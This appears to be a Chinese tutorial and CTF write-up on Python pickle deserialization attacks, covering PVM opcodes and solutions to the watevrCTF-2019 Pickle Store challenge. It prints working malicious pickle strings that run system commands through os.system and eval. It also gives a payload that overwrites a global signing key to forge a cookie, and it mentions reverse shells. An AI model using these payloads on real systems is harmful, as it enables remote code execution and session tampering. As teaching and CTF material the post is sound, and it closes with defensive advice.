pickle
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
-
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。 -
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。 -
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。
pickle在(反)序列化中用到的函数
1 | # 序列化 |
举例
1 | import pickle |
可序列化的对象
-
None
、True
和False
-
整数、浮点数、复数
-
str、byte、bytearray
-
只包含可封存对象的集合,包括 tuple、list、set 和 dict
-
定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
-
定义在模块最外层的内置函数
-
定义在模块最外层的类
-
__dict__
属性值或__getstate__()
函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)
相信搞web的师傅都对php反序列化特别熟悉
相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面
反序列化攻击的重点函数:
object.__reduce__()
函数
-
在开发时,可以通过重写类的
object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。具体而言,python要求object.__reduce__()
返回一个(callable, ([para1,para2...])[,...])
的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。 -
在下文pickle的opcode中,
R
的作用与object.__reduce__()
关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实R
正好对应object.__reduce__()
函数,object.__reduce__()
的返回值会作为R
的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R
的后文还会提到
pickle序列化后的数据是opcode,它相对其他语言所用的json格式而言易读性稍差,但是能够储存更多的python数据结构,随着python的更新迭代,opcode也有几个版本
OPCODE
v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python
常用操作码:
-
c : 读取本行内容作为模块名module,读取下一行内容作为对象名object,然后将module.object作为可调用对象压入栈中
-
( : 将一个标记对象压入栈中,作为一个确定命令执行的位置,搭配 t 使用,产生元组
-
s : 后面跟字符串,读取引号中的内容,直到遇见换行符,将内容压入栈
-
t : 从栈中不断pop出数据,直到遇见 ( 停止,产生一个元组压回栈
-
R : 将之前压入栈的元组和对象全部弹出,将元组作为可调用参数的对象并执行该对象,最后将结果压入栈中
-
. : 结束整个pickle反序列化过程
-
) ] }:入栈一个空t l d
-
b:用栈中第一个元素给第二元素赋值(和入栈顺序相反)
-
u:寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
-
d:寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)
-
a: 将栈的第一个元素append到第二个元素(列表)中
-
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象
-
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
更全的表
opcode | 描述 | 具体写法 | 栈上的变化 |
---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更 |
举例
pickle.loads(b"““cos
system
(S’calc’
tR.””")
-
对应os.system(“calc”)
pickle.loads(b"““c__builtin__
getattr
(c__builtin__
import
(S’os’
tRS’system’
tR(S’whoami’
tR.””")
-
对应getattr(import(“os”),“system”)(“whoami”)
v3
v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议
pickle3版本的opcode(指令码)示例:
-
b’\x80\x03X\x04\x00\x00\x00abcdq\x00.’
-
\x80:协议头声明
-
\x03:协议版本
-
\x04\x00\x00\x00:数据长度:4
-
abcd:数据
-
q:储存栈顶的字符串长度:一个字节(即\x00)
-
\x00:栈顶位置
-
.:数据截止
v4
4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 315
\8c\xx
+字符串,xx为长度
\x94
将前面的数据存入内存,可以看做是一段的结束
\x93
使用栈顶两个元素,获取module.name
\x81
新建对象
各个不同的版本实现的PVM操作码不同,但却是向下兼容的,比如上面python2序列化输出的opcode字符串可以放在python3里正常反序列化,但python3序列化输出的v3或v4地字符串却不能让python2反序列化
BUILD指令(b)
通过BUILD指令与C指令©的结合,我们可以把一个对象改写为os.system或其他函数假设某个类原先没有__setstate__方法,我们可以利用{‘setstate’: os.system}来BUILE这个对象
BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的_setstate__方法就改为了我们指定的os.system
接下来利用"ls /"来再次BUILD这个对象,则会执行setstate(“ls /”),而此时__setstate__已经被我们设置为os.system,因此实现RCE
1 | import pickle |
\x81
用于创建新对象
还有一种利用方法:利用__reduce__() 魔术方法:
可以通过重写类的object.reduce()使之在被实例化时按照重写的方式进行。具体而言,python要求该魔术方法返回一个元组(callable,[para1,para2…]),每当该类的对象被unpickle时,callable被调用生成对象(实际就是构造函数)
在pickle的opcode中,R的作用与object.reduce()关系密切:选择栈上的一个元素作为函数,另一个作为参数(必须为元组),然后调用该函数。其实R正好对应object.reduce()函数,让它的返回值作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的
示例:
1 | import pickle |
输出
b"\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c!import(‘os’).system(‘whoami’)\x94\x85\x94R\x94."
pan\27104
pickle的常用攻击方式
-
变量覆盖
-
RCE(反弹shell)
这里我们暂时只用一道# [watevrCTF-2019]Pickle Store来举例展示
题目进去是一个商店界面,初始有500刀,得到flag需要购买1000刀的Flag Pickle
然后购买上面两个商品发现每次购买后COOKIE的session都会改变,base64解码后可以发现是用pickle序列化后的数据
1 | import pickle |
接着用pickle反序列化它
1 | import pickle |
可以看到pickle反序列化成功了,上面记录了我的余额,购买记录,以及后面跟着的加密算法验证这里我们就有了两个思路
1. 利用RCE
由于在BUU平台反弹shell较为繁琐,我就直接贴上其他师傅的exp
P3rh4ps师傅的:
1 | import pickle |
直接上传了flag.txt
ch4ser师傅的:
1 | import os |
这里用到了buuctf的xss平台
ice-cream师傅的:
1 | import pickle |
使用nc反弹shell
2. 覆盖key并伪造cookie
解法二,he110world师傅介绍的解法
首先做一个实验:假如py脚本中已经定义了一个变量key,而反序列化的pickle流中包含了给key赋值的操作,那么反序列化后key的值会被覆盖吗,我们来验证一下
1 | import pickle |
输出:
1 | b"\x80\x03cbuiltins\nexec\nq\x00X'\x00\x00\x00key=b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03." |
成功覆盖
那么在这道题目中,一个是要讲余额覆盖为足够购买的金额,更重要的是要将签名的key密钥覆盖掉,进而伪造cookie
1 | import pickle |
把余额设置为10000,并用我们自己的key来给cookie做签名,得到的pickle流:
1 | b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00 |
key的值被成功覆盖
那么现在要做的就只有两件事,1 把flask的key覆盖为我们自己的key, 2 用我们自己的key给cookie加密
1.flask中定义的key是全局变量,而反序列化操作却是在函数内部进行的,要使函数内的变量要覆盖全局变量的值,必须加global声明,所以修改payload:
1 | import pickle |
2. 伪造cookie
1 | import pickle |
只需要把第一个pickle流结尾表示结束的.去掉,把第二个pickle开头的版本声明去掉,两者拼接起来第一个pickle流:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}."
第二个pickle流:
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
按所说方法拼接:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
base64编码后,抓下购买flag的包,修改其中的cookie发送
将返回的cookie反序列化:
1 | import pickle |
输出{‘money’: 9000, ‘history’: [‘flag{23579e93-60f6-4ab2-b28c-b2118548ca9f}\n’], ‘anti_tamper_hmac’: ‘745fed2952b33f08eab8bee8db65a7e9’}
pickle反序列化有一个专门的利用工具pker
https://github.com/EddieIvan01/pker
由于我自己也还没玩明白就暂时不作介绍了
Python 反序列化漏洞如何防御
(1) 不要再不守信任的通道中传递 pcikle 序列化对象
(2) 在传递序列化对象前请进行签名或者加密,防止篡改和重播
(3) 如果序列化数据存储在磁盘上,请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据
(4) 将 pickle 加载的数据列入白名单
参考文章